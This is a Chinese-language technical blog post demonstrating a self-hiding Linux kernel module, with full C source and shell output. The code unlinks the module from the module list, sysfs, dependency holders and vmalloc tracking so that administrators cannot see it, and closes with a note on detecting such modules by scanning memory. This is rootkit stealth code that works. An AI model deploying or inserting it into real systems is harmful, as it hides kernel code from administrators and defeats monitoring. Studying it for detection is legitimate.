隐藏自己的Linux内核模块

前面我提倡使用oneshot模式加载模块，即让模块在init函数中把事情做完后就return -1，这样系统中便不存在这么一个模块，也就不需要隐藏了。

但是，由于THIS_MODULE宏的存在，我们发现实际上隐藏一个模块是多么地简单。事实上，模块可以在init函数中通过THIS_MODULE宏实现自隐藏的。想想看，自己可以给自己办理身份证，户口迁移，自己给自己签证，是多么有意思且有意义。

既然如此简单，还费事搞oneshot干嘛，精神洁癖总是不想看到return -1。

和进程隐藏完全不同，进程无法自己隐藏自己，只能依靠其它模块找到相应的task_struct，然后再摘链。

THIS_MODULE宏对于每一个内核模块均有一个，它将xx.mod.c中的下列结构体载入内核空间：

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
	.name = KBUILD_MODNAME,
	.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
	.exit = cleanup_module,
#endif
	.arch = MODULE_ARCH_INIT,
};

我来用代码演示一下如何来隐藏自己，代码如下：

// hidemyself.c
#include <linux/module.h>
#include <net/netfilter/nf_conntrack_core.h>
#include <asm-generic/delay.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>

struct timer_list timer;
// 模拟重体力劳动
static void timer_func(unsigned long data)
{
	udelay(1000);
	mod_timer(&timer, jiffies + 10);
}

static void __init hide_myself(void)
{
	struct vmap_area *va, *vtmp;
	struct module_use *use, *tmp;
	struct list_head *_vmap_area_list;
	struct rb_root *_vmap_area_root;

	_vmap_area_list = (struct list_head *)kallsyms_lookup_name("vmap_area_list");
	_vmap_area_root = (struct rb_root *)kallsyms_lookup_name("vmap_area_root");

	// 摘除vmalloc调用关系链，/proc/vmallocinfo中不可见
	list_for_each_entry_safe(va, vtmp, _vmap_area_list, list) {
		if ((unsigned long)THIS_MODULE > va->va_start && (unsigned long)THIS_MODULE < va->va_end) {
			list_del(&va->list);
			// rbtree中摘除，无法通过rbtree找到
			rb_erase(&va->rb_node, _vmap_area_root);
		}
	}

	// 摘除链表，/proc/modules 中不可见。
	list_del_init(&THIS_MODULE->list);
	// 摘除kobj，/sys/modules/中不可见。
	kobject_del(&THIS_MODULE->mkobj.kobj);
	// 摘除依赖关系，本例中nf_conntrack的holder中不可见。
	list_for_each_entry_safe(use, tmp, &THIS_MODULE->target_list, target_list) {
		list_del(&use->source_list);
		list_del(&use->target_list);
		sysfs_remove_link(use->target->holders_dir, THIS_MODULE->name);
		kfree(use);
	}
}

static int __init hideself_init(void)
{
	hide_myself();
	init_timer(&timer);
	timer.expires = jiffies + 20;
	timer.function = timer_func;
	add_timer(&timer);

	// 模拟依赖。我们需要在依赖关系中也隐藏掉该模块的行踪
	printk("address:%p   this:%p\n", nf_conntrack_in, THIS_MODULE);

	return 0;
}

static void __exit hideself_exit(void)
{
	del_timer_sync(&timer);
}
module_init(hideself_init);
module_exit(hideself_exit);
MODULE_LICENSE("GPL");

我们加载该模块，发现重体力劳动已经开始运行：

[root@localhost test]# insmod ./hidemyself.ko
[root@localhost test]# perf top
Samples: 2K of event 'cpu-clock', Event count (approx.): 383743956
Overhead  Shared Object        Symbol
  47.89%  [kernel]             [k] native_read_tsc
  38.93%  [kernel]             [k] delay_tsc
   1.61%  [kernel]             [k] _raw_spin_unlock_irqrestore
   1.47%  [kernel]             [k] __do_softirq
   1.26%  perf                 [.] __symbols__ins

依赖也已经记录：

[root@localhost test]# lsmod |grep nf_conntrack
nf_conntrack          105737  1

但是却哪里都找不到：

[root@localhost test]# cat /proc/modules |grep hidemyself
[root@localhost test]# ls -l /sys/module/|grep hidemyself
[root@localhost test]# ls -l /sys/module/nf_conntrack/holders/|grep hidemyself
[root@localhost test]#

同时，/proc/vmallocinfo中也没有该模块的地址空间。下面是dmesg打印出的信息：

[  668.202784] address:ffffffffa02a56e0   this:ffffffffa00fa000

我们看得出，THIS_MODULE的地址是 0xffffffffa00fa000，我们在/proc/vmallocinfo中找不到包含该地址的vmalloc区间！

隐藏很成功。而且…

而且，模块还可以加载多次的哦，因为它已经在命名空间中被自己除名了，完全脱离了组织的管理。

接下来，我正常要做的就是， 把它找出来！

当然，扫描modules内存区间是可行的，它在：

// arch/x86/include/asm/pgtable_64_types.h
#define MODULES_VADDR    _AC(0xffffffffa0000000, UL)
#define MODULES_END      _AC(0xffffffffff000000, UL)

还有更好的方法，后面再说吧。

回家咯。

---

浙江温州皮鞋湿，下雨进水不会胖。